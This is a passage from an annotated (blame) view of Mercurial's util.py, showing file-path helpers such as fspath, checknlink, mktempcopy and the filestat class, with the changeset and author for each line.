parents:
6595
diff
changeset
|
2214 |
_fspathcache = {} |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2215 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2216 |
|
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2217 |
def fspath(name, root): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2218 |
"""Get name in the case stored in the filesystem |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2219 |
|
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2220 |
The name should be relative to root, and be normcase-ed for efficiency. |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2221 |
|
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2222 |
Note that this function is unnecessary, and should not be |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2223 |
called, for case-sensitive filesystems (simply because it's expensive). |
15670
d6c19cfa03ce
icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15669
diff
changeset
|
2224 |
|
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2225 |
The root should be normcase-ed, too. |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2226 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2227 |
|
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2228 |
def _makefspathcacheentry(dir): |
44452
9d2b2df2c2ba
cleanup: run pyupgrade on our source tree to clean up varying things
Augie Fackler <augie@google.com>
parents:
44436
diff
changeset
|
2229 |
return {normcase(n): n for n in os.listdir(dir)} |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2230 |
|
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2231 |
seps = pycompat.ossep |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
2232 |
if pycompat.osaltsep: |
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
2233 |
seps = seps + pycompat.osaltsep |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2234 |
# Protect backslashes. This gets silly very quickly. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2235 |
seps.replace(b'\\', b'\\\\') |
31496
670166e0fcaa
util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents:
31495
diff
changeset
|
2236 |
pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
2237 |
dir = os.path.normpath(root) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2238 |
result = [] |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2239 |
for part, sep in pattern.findall(name): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2240 |
if sep: |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2241 |
result.append(sep) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2242 |
continue |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2243 |
|
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
2244 |
if dir not in _fspathcache: |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2245 |
_fspathcache[dir] = _makefspathcacheentry(dir) |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
2246 |
contents = _fspathcache[dir] |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2247 |
|
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2248 |
found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2249 |
if not found: |
15720
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
2250 |
# retry "once per directory" per "dirstate.walk" which |
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
2251 |
# may take place for each patches of "hg qpush", for example |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2252 |
_fspathcache[dir] = contents = _makefspathcacheentry(dir) |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2253 |
found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2254 |
|
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2255 |
result.append(found or part) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
2256 |
dir = os.path.join(dir, part) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2257 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2258 |
return b''.join(result) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2259 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2260 |
|
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2261 |
def checknlink(testfile): |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2262 |
'''check whether hardlink count reporting works properly''' |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2263 |
|
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2264 |
# testfile may be open, so we need a separate file for checking to |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2265 |
# work around issue2543 (or testfile may get lost on Samba shares) |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2266 |
f1, f2, fp = None, None, None |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2267 |
try: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2268 |
fd, f1 = pycompat.mkstemp( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2269 |
prefix=b'.%s-' % os.path.basename(testfile), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2270 |
suffix=b'1~', |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2271 |
dir=os.path.dirname(testfile), |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2272 |
) |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2273 |
os.close(fd) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2274 |
f2 = b'%s2~' % f1[:-2] |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2275 |
|
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
2276 |
oslink(f1, f2) |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2277 |
# nlinks() may behave differently for files on Windows shares if |
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2278 |
# the file is open. |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2279 |
fp = posixfile(f2) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2280 |
return nlinks(f2) > 1 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
2281 |
except OSError: |
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
2282 |
return False |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2283 |
finally: |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2284 |
if fp is not None: |
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2285 |
fp.close() |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2286 |
for f in (f1, f2): |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2287 |
try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2288 |
if f is not None: |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2289 |
os.unlink(f) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2290 |
except OSError: |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2291 |
pass |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2292 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2293 |
|
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2294 |
def endswithsep(path): |
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2295 |
'''Check path ends with os.sep or os.altsep.''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2296 |
return ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2297 |
path.endswith(pycompat.ossep) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2298 |
or pycompat.osaltsep |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2299 |
and path.endswith(pycompat.osaltsep) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2300 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2301 |
|
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2302 |
|
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2303 |
def splitpath(path): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2304 |
"""Split path by os.sep. |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2305 |
Note that this function does not use os.altsep because this is |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2306 |
an alternative of simple "xxx.split(os.sep)". |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2307 |
It is recommended to use os.path.normpath() before using this |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
2308 |
function if need.""" |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2309 |
return path.split(pycompat.ossep) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2310 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2311 |
|
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2312 |
def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2313 |
"""Create a temporary file with the same contents from name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2314 |
|
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2315 |
The permission bits are copied from the original file. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2316 |
|
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2317 |
If the temporary file is going to be truncated immediately, you |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2318 |
can use emptyok=True as an optimization. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2319 |
|
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2320 |
Returns the name of the temporary file. |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2321 |
""" |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2322 |
d, fn = os.path.split(name) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2323 |
fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2324 |
os.close(fd) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2325 |
# Temporary files are created with mode 0600, which is usually not |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2326 |
# what we want. If the original file already exists, just copy |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2327 |
# its mode. Otherwise, manually obey umask. |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2328 |
copymode(name, temp, createmode, enforcewritable) |
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2329 |
|
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2330 |
if emptyok: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2331 |
return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2332 |
try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2333 |
try: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2334 |
ifp = posixfile(name, b"rb") |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2335 |
except IOError as inst: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2336 |
if inst.errno == errno.ENOENT: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2337 |
return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2338 |
if not getattr(inst, 'filename', None): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2339 |
inst.filename = name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2340 |
raise |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2341 |
ofp = posixfile(temp, b"wb") |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2342 |
for chunk in filechunkiter(ifp): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2343 |
ofp.write(chunk) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2344 |
ifp.close() |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2345 |
ofp.close() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2346 |
except: # re-raises |
34435
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2347 |
try: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2348 |
os.unlink(temp) |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2349 |
except OSError: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2350 |
pass |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2351 |
raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2352 |
return temp |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2353 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2354 |
|
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2355 |
class filestat(object): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2356 |
"""help to exactly detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2357 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2358 |
'stat' attribute is result of 'os.stat()' if specified 'path' |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2359 |
exists. Otherwise, it is None. This can avoid preparative |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2360 |
'exists()' examination on client side of this class. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2361 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2362 |
|
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2363 |
def __init__(self, stat): |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2364 |
self.stat = stat |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2365 |
|
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2366 |
@classmethod |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2367 |
def frompath(cls, path): |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2368 |
try: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2369 |
stat = os.stat(path) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2370 |
except OSError as err: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2371 |
if err.errno != errno.ENOENT: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2372 |
raise |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2373 |
stat = None |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2374 |
return cls(stat) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2375 |
|
32816
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2376 |
@classmethod |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2377 |
def fromfp(cls, fp): |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2378 |
stat = os.fstat(fp.fileno()) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2379 |
return cls(stat) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2380 |
|
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2381 |
__hash__ = object.__hash__ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2382 |
|
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2383 |
def __eq__(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2384 |
try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2385 |
# if ambiguity between stat of new and old file is |
30332
318a24b52eeb
spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents:
30329
diff
changeset
|
2386 |
# avoided, comparison of size, ctime and mtime is enough |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2387 |
# to exactly detect change of a file regardless of platform |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2388 |
return ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2389 |
self.stat.st_size == old.stat.st_size |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2390 |
and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2391 |
and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2392 |
) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2393 |
except AttributeError: |
32749
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2394 |
pass |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
